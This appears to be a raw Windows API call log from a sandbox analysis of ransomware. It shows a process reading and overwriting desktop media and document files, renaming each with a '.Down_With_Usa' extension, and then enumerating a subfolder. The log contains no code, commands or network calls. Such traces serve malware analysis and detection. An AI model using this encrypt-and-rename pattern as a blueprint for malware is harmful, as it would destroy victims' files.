[0112.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzk1n.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.907] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp", lpFilePart=0x0) returned 0x2f
[0112.907] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x3d
[0112.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzk1n.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798ab570, ftCreationTime.dwHighDateTime=0x1d5e375, ftLastAccessTime.dwLowDateTime=0xc8194570, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0x1fd04840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xba90)) returned 1
[0112.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.908] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzk1n.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzk1n.bmp.down_with_usa")) returned 1
[0112.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv", lpFilePart=0x0) returned 0x2e
[0112.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xluz.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.910] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x87a0
[0112.910] ReadFile (in: hFile=0x3a0, lpBuffer=0x2647fd0, nNumberOfBytesToRead=0x87a0, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2647fd0*, lpNumberOfBytesRead=0x2ebe58*=0x87a0, lpOverlapped=0x0) returned 1
[0112.970] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv", lpFilePart=0x0) returned 0x2e
[0112.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xluz.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0112.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv", lpFilePart=0x0) returned 0x2e
[0112.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv.Down_With_Usa", lpFilePart=0x0) returned 0x3c
[0112.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xluz.flv"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8cf10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xf225bed0, ftLastAccessTime.dwHighDateTime=0x1d5db0f, ftLastWriteTime.dwLowDateTime=0x1fd9cdc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x87b0)) returned 1
[0112.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.980] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xluz.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xluz.flv.down_with_usa")) returned 1
[0112.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0112.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0112.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.982] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x38b600
[0112.996] ReadFile (in: hFile=0x3a8, lpBuffer=0x14059520, nNumberOfBytesToRead=0x38b600, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x14059520*, lpNumberOfBytesRead=0x2ebe58*=0x38b600, lpOverlapped=0x0) returned 1
[0114.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0114.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0114.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0114.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2e86e0) returned 1
[0114.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi", lpFilePart=0x0) returned 0x30
[0114.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0114.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zb9dfe.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0114.377] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xe060
[0114.378] ReadFile (in: hFile=0x3a8, lpBuffer=0x26198d0, nNumberOfBytesToRead=0xe060, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26198d0*, lpNumberOfBytesRead=0x2ebe58*=0xe060, lpOverlapped=0x0) returned 1
[0114.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi", lpFilePart=0x0) returned 0x30
[0114.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0114.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zb9dfe.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0114.618] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi", lpFilePart=0x0) returned 0x30
[0114.618] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi.Down_With_Usa", lpFilePart=0x0) returned 0x3e
[0114.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0114.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zb9dfe.avi"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69eb4cb0, ftCreationTime.dwHighDateTime=0x1d5d871, ftLastAccessTime.dwLowDateTime=0xb263bf50, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0x20cc9a00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe070)) returned 1
[0114.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0114.618] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zb9dfe.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zb9dfe.avi.down_with_usa")) returned 1
[0114.620] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg", lpFilePart=0x0) returned 0x3a
[0114.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0114.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zfo2rxjxmbylrj8-.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0114.620] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x17ef9
[0114.623] ReadFile (in: hFile=0x3a8, lpBuffer=0x13057cf0, nNumberOfBytesToRead=0x17ef9, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x13057cf0*, lpNumberOfBytesRead=0x2ebe58*=0x17ef9, lpOverlapped=0x0) returned 1
[0114.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg", lpFilePart=0x0) returned 0x3a
[0114.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0114.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zfo2rxjxmbylrj8-.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0114.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0114.710] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg", lpFilePart=0x0) returned 0x3a
[0114.710] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0114.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0114.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zfo2rxjxmbylrj8-.jpg"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17f00)) returned 1
[0114.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0114.711] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zfo2rxjxmbylrj8-.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zfo2rxjxmbylrj8-.jpg.down_with_usa")) returned 1
[0114.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0114.713] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", lpFilePart=0x0) returned 0x37
[0114.713] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\", lpFilePart=0x0) returned 0x38
[0114.713] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x83875a60, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0x83875a60, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0114.714] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x83875a60, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0x83875a60, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0114.714] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e24dc50, ftCreationTime.dwHighDateTime=0x1d5dece, ftLastAccessTime.dwLowDateTime=0xe7a313d0, ftLastAccessTime.dwHighDateTime=0x1d5e290, ftLastWriteTime.dwLowDateTime=0xe7a313d0, ftLastWriteTime.dwHighDateTime=0x1d5e290, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="-9AUlfZt XkSaee.png", cAlternateFileName="-9AULF~1.PNG")) returned 1
[0114.714] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf643eb80, ftCreationTime.dwHighDateTime=0x1d5dfa2, ftLastAccessTime.dwLowDateTime=0x6a8a1c10, ftLastAccessTime.dwHighDateTime=0x1d5dec4, ftLastWriteTime.dwLowDateTime=0x6a8a1c10, ftLastWriteTime.dwHighDateTime=0x1d5dec4, nFileSizeHigh=0x0, nFileSizeLow=0xee9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1r_iWvO-.m4a", cAlternateFileName="")) returned 1
[0114.714] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5092c00, ftCreationTime.dwHighDateTime=0x1d5e08f, ftLastAccessTime.dwLowDateTime=0x4c591240, ftLastAccessTime.dwHighDateTime=0x1d5d9ed, ftLastWriteTime.dwLowDateTime=0x4c591240, ftLastWriteTime.dwHighDateTime=0x1d5d9ed, nFileSizeHigh=0x0, nFileSizeLow=0x5bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="4MpfxDyRBYXshnSF.flv", cAlternateFileName="4MPFXD~1.FLV")) returned 1
[0114.715] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39251860, ftCreationTime.dwHighDateTime=0x1d5e814, ftLastAccessTime.dwLowDateTime=0x429686b0, ftLastAccessTime.dwHighDateTime=0x1d5dcff, ftLastWriteTime.dwLowDateTime=0x429686b0, ftLastWriteTime.dwHighDateTime=0x1d5dcff, nFileSizeHigh=0x0, nFileSizeLow=0x4d2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9qDc.bmp", cAlternateFileName="")) returned 1
[0114.715] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b78940, ftCreationTime.dwHighDateTime=0x1d5e435, ftLastAccessTime.dwLowDateTime=0x5ea17f40, ftLastAccessTime.dwHighDateTime=0x1d5e0f1, ftLastWriteTime.dwLowDateTime=0x5ea17f40, ftLastWriteTime.dwHighDateTime=0x1d5e0f1, nFileSizeHigh=0x0, nFileSizeLow=0x180e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="EHN9g.png", cAlternateFileName="")) returned 1
[0114.715] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75655e0, ftCreationTime.dwHighDateTime=0x1d5d7c7, ftLastAccessTime.dwLowDateTime=0x613dbf20, ftLastAccessTime.dwHighDateTime=0x1d5e2cc, ftLastWriteTime.dwLowDateTime=0x613dbf20, ftLastWriteTime.dwHighDateTime=0x1d5e2cc, nFileSizeHigh=0x0, nFileSizeLow=0x864c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hK_3yzTfN67FeXi.wav", cAlternateFileName="HK_3YZ~1.WAV")) returned 1
[0114.715] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9224fc50, ftCreationTime.dwHighDateTime=0x1d5e148, ftLastAccessTime.dwLowDateTime=0x81936410, ftLastAccessTime.dwHighDateTime=0x1d5dcd6, ftLastWriteTime.dwLowDateTime=0x81936410, ftLastWriteTime.dwHighDateTime=0x1d5dcd6, nFileSizeHigh=0x0, nFileSizeLow=0x163c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nuFUvZvap.m4a", cAlternateFileName="NUFUVZ~1.M4A")) returned 1
[0114.716] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fcf330, ftCreationTime.dwHighDateTime=0x1d5de52, ftLastAccessTime.dwLowDateTime=0x78fee030, ftLastAccessTime.dwHighDateTime=0x1d5e425, ftLastWriteTime.dwLowDateTime=0x78fee030, ftLastWriteTime.dwHighDateTime=0x1d5e425, nFileSizeHigh=0x0, nFileSizeLow=0xcddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NwlIJoXs.swf", cAlternateFileName="")) returned 1
[0114.716] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b25aa0, ftCreationTime.dwHighDateTime=0x1d5dead, ftLastAccessTime.dwLowDateTime=0x940865a0, ftLastAccessTime.dwHighDateTime=0x1d5e4a6, ftLastWriteTime.dwLowDateTime=0x940865a0, ftLastWriteTime.dwHighDateTime=0x1d5e4a6, nFileSizeHigh=0x0, nFileSizeLow=0xbaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="qkXY72EZzbIYwx-D.docx", cAlternateFileName="QKXY72~1.DOC")) returned 1
[0114.716] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0114.716] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0114.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0114.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0114.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0114.716] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", lpFilePart=0x0) returned 0x37
[0114.717] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\", lpFilePart=0x0) returned 0x38
[0114.717] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x83875a60, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0x83875a60, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
